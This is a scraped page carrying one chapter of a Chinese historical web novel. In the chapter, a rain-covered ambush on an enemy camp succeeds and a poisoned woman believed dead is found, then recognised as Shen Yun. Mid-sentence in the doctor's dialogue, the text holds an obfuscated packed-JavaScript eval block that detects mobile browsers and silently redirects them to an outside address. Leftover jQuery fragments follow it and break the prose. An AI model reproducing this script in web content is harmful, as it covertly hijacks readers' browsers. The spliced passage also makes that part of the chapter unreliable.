默认冷灰
24号文字
方正启体

32. 破局

作者:苧予本书字数:K更新时间:
    次日,下起了大雨,雨声恰好能盖住突袭的脚步声,柳祈打算就在今天动手。


    封山的人已由张晁带到,对于要帮覃欲洲这件事他是极不情愿的。


    可裴决却说“此事是为了京口百姓。”


    他曾是庇护一方的将军,恩怨和百姓孰轻孰重他还是分得清的。


    将军府中,使臣穿戴整齐,下人正在清点礼单。


    成箱的珍宝绸缎快要将府中的院子填满了,梁康成这次当真是要嫁公主。


    柳祈看过之后道“今日送使臣出城覃将军多带些人马,待使臣行至邾国驻扎地,埋伏的人便会借劫财之意制造混乱,届时将军便可出兵。”


    覃欲洲有些犹豫“此举当真稳妥吗?邾国兵马那么多,我们当真能全身而退?”


    “邾国兵马虽多,可只有震慑之意并无实战准备,我们出其不意反能制胜。”


    军师亦劝道“将军,若想出兵便只有这个办法,何不一试?”


    此事实在太过冒险,可唯有兵行险招方能出奇制胜。


    覃欲洲似下定了决心,目光坚定“备马,准备出城!”


    出城的队伍比前几次庞大多了,领头的人已经走至城门下,尾巴上的人才刚出府。


    街上百姓议论纷纷,人尽皆知这次是去替公主议亲,所以才会备下这么多厚礼。


    “竟然都要将公主嫁过去了,难道晟朝当真不行了吗?”


    “谁知道呢?或许邾国真的战无不胜。”


    “这话可不能乱说!都嫁公主过去了,我们应该不会再受威胁了。”


    “希望如此,我可不想再时时刻刻都担心着邾国的铁骑。”


    百姓大多跟梁康成一个想法,以为嫁一个公主便可万事大吉。


    可这想法实在荒唐。靠嫁公主来苟且偷生的王朝,注定无法长存。


    使臣已至兵马驻扎之地,埋伏在外的暗卫和封山众人按计划分列两个方向。


    雨下得愈发大了,天色阴沉得厉害。雨点坠地,声势巨大,暗卫先行,趁着雨势绕至营地后方,呈包围之势。


    张晁率一部分人冲出密集的雨,直奔使臣身后的财物。


    原本在营地外等候的将士见此情形立马派出人来作战,可暗卫已深入其中,营地内一片混乱。


    一声接一声的哨声响起,封山方向的鸟儿受惊四起,嘈杂的雨声中仿佛混入了许多脚步声,听起来有千军万马之势。


    邾国的将士只做好了等着他们来求和的准备,连一点防备都没有,突如其来的变故打得他们手足无措。


    “将军!这些人都是流寇!定是知道了此行晟朝送来了许多奇珍异宝,所以在这里伏击!”


    “将军!他们人数众多,我们抵抗不过啊!”


    “他们都是从封山来的!将军,我们该如何应对,您快些下令吧!”


    一个又一个小卒来报,将军急得来回踱步。


    “报!”又一人上前“将军!覃将军出兵了!”


    “什么!”他双眸一颤,三步并两步冲了出去。


    只见覃欲洲带了众多人马,正在击杀流寇,那些流寇一再退守,逼近他们的营地。


    “我们的人呢!快去拦住那些流寇,别让他们进来!”


    “来不及了将军,这些流寇实在太多了,我们营地里已有不少流寇蹿了进来。”


    “将军,若再这样下去,覃将军出兵只会越来越多,届时到底是击杀流寇还是顺带攻入邾国便不可知了!”


    他们确实不知道封山有多少人,此地尚是京口的地界,丢了这个营地并不可惜。


    如今流寇与覃欲洲的兵马混行,保不齐这是他们晟朝的计谋,若当真不退让,兴许他们便回不去邾国了。


    一番思索后,将军咬牙切齿喊道“退兵!退回建京!”


    邾国的兵马狼狈逃窜,这场雨可算是下得痛快。


    覃欲洲头一次如此舒心。


    他眉开颜展,下令道“清扫战场,将他们的东西一并烧了!”


    “是,将军!”


    雨还未歇,可将士们一个个亢奋不已,仿佛这场雨是久旱逢甘霖,他们终于出了一口气。


    “将军!”一位小卒急匆匆地跑来“营帐内有一位女子,似乎是被下了药,怎么也叫不醒。”


    “女子?”覃欲洲皱起眉“走,去看看。”


    营帐内,一位衣着简单的女子躺在草堆上,她脸色惨白,额上冒出细密的汗珠,似是很难受,蜷缩着身子,嘴里不断发出微弱的声音。


    她的双手被粗绳反绑在后,眼上蒙着布条。


    “将军,看样子她是被人绑在这儿的。”


    覃欲洲思索片刻,道“先带回去。”


    一炷香后,覃欲洲与部下折返回城,将军府中请来了一位大夫。


    柳祈与裴决候在门口多时。


    不等他们开口,覃欲洲便略过他们入内“有何事晚些再说。”


    他飞快走在前面,大声叫着大夫上前。


    紧跟在他身后的是一位身形魁梧的下属,他的怀中抱着一位柔弱的女子。


    那女子头发垂落在前,只露出来半张脸,嘴唇紧闭,似是中了毒,躺在怀中不省人事。


    大夫紧追着进屋,一行人便在屋内忙碌起来。


    柳祈随手抓住一位小卒,问“你们带回来的是谁?”


    “我们也不知道,不过见到她时她被绑着手脚扔在营帐内,看样子还被下了药。”


    小卒故意压低声音,说话时眉眼十分夸张地跳动,似是在说什么奇闻异事。


    “可惜了。”小卒继续道“她的面容十分出色,定是因此才被那些杂碎盯上了。”


    一个被扔在营帐中的女人。


    柳祈与裴决相视一眼,不约而同地觉得此事颇有蹊跷。


    邾国的人当真如此荒唐?会在前线营帐中关押一个女人?


    常叙的身影出现在屋顶上,他已按柳祈说的传信去瓜州,告诉江迫他们如今打算撬动京口对付梁康成。


    柳祈向他递了个眼色,示意他去查看屋内的情况。


    常叙了然,放轻脚步声,揭开一片瓦。


    只见屋内尽是男子,覃欲洲与属下站在两边,大夫蹲在床前,床上躺着一位苍白如雪的柔弱美人。


    覃欲洲心急难耐,追着问“如何?可是中了什么毒?”


    大夫始终未抬起过头,眼睛左看右看,头也跟着轻轻扭动。他几次欲言又止,额上的汗珠已有豆大。


    这样子难道是绝症?


    覃欲洲没了耐心,又道“您直说便好。”


    大夫这才吞吞吐吐道“这位姑娘看着年轻,可脉象


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15641994|168952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    极弱。不知是中了何毒,只吊着一口气了。”


    “这么说是没救了?”


    大夫叹了一口气,轻轻点了点头。


    “这可如何是好?”覃欲洲身边的属下开口“也不知道这姑娘是哪里人,是否还有家人,难道就要这么丧命于此?”


    是啊,好端端一条人命,怎可就这么没了。


    覃欲洲又问“没有别的办法了?”


    “她并无别的病症,可脉象却如一根细丝,应该是病入膏肓了。此时莫不说找不出病因,就算找到了,哪怕服下回天丹也无济于事。”


    “这毒你竟未见过?”


    大夫颔首,面露羞愧“如此奇毒,我还是第一次见。”


    “那可有办法让她缓个片刻?我们还想问问她家在何处,是否有人能带她回去。落叶归根,她怕是也想葬于故乡。”


    “我可替她施针试试。”说罢,大夫回身弯下腰,在地上的药箱中翻找。


    他弯腰的间隙,床上的女人似是呛了一口气,突然大口大口地呼吸。


    片刻之后,她胸口的起伏便又渐渐平缓下来,伴随着细微的呜咽声。


    她紧咬着唇,眼睛渐渐睁开,汗珠染湿了她额前的细发,她的眼中雾气迷蒙。眼尾的红痣似雾中之花,勾人注目。


    常叙回到柳祈身边,低声将所见告知。


    柳祈目光骤亮,似如梦初醒“你当真看清楚了?”


    “看清楚了。”


    “大夫怎么说?”


    “说是无力回天了。”


    柳祈脸色大变,仿佛天将要塌下来了一般。


    他快步朝屋内走去,似被夺了神智,眼眸如夜里漆黑的河水。


    “拦住他!”常叙低声喊道。


    裴决眼疾手快将柳祈拉住。


    再往前一步便是悬崖峭壁。


    三人回到别院,裴决才将手松开。


    “到底怎么回事?”裴决十分困惑“你为何让我拉住他?”


    话罢,他转向柳祈“柳望月,你又究竟听到了什么?”


    柳祈目色一沉,语气如浸了水的棉花“屋内的人是沈韫。”


    “沈韫?你说覃将军带回来的是沈韫?她不是已经死了吗?”


    “她没有死。”常叙道“不过也快了,她中了毒,只剩一口气。”


    “可她应该早就死在了复州,为何会突然出现在这儿?”


    柳祈的声音越来越冷“这便是蹊跷之处。他们说她是在邾国的营帐中被发现的,可已经死了的人为何会出现在邾国的营帐?”


    “你的意思是?”


    “我不知道,所以我得去看看。”


    “可常叙说她就快死了。”裴决似是想到了什么“也许屋内之人并非沈韫,而是有人故意设计,让你误以为那是沈韫。若你闯入屋内,那覃欲洲必定知道你与那女子关系不凡,他们便可利用那个女子捏住你的命门。”


    柳祈却有另一个猜想“若屋内之人当真是沈韫呢?我还不知道沈韫究竟在替谁做事,又打算做些什么?”


    他对沈韫的了解太少了,以至于他现在才恍然大悟,沈韫的死也许只是一个陷阱。


    可若真是如此,那柳祈的这盘棋便又少了几分胜算。


    没想到还有人借他的棋局为自己谋利。


    实在该死。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)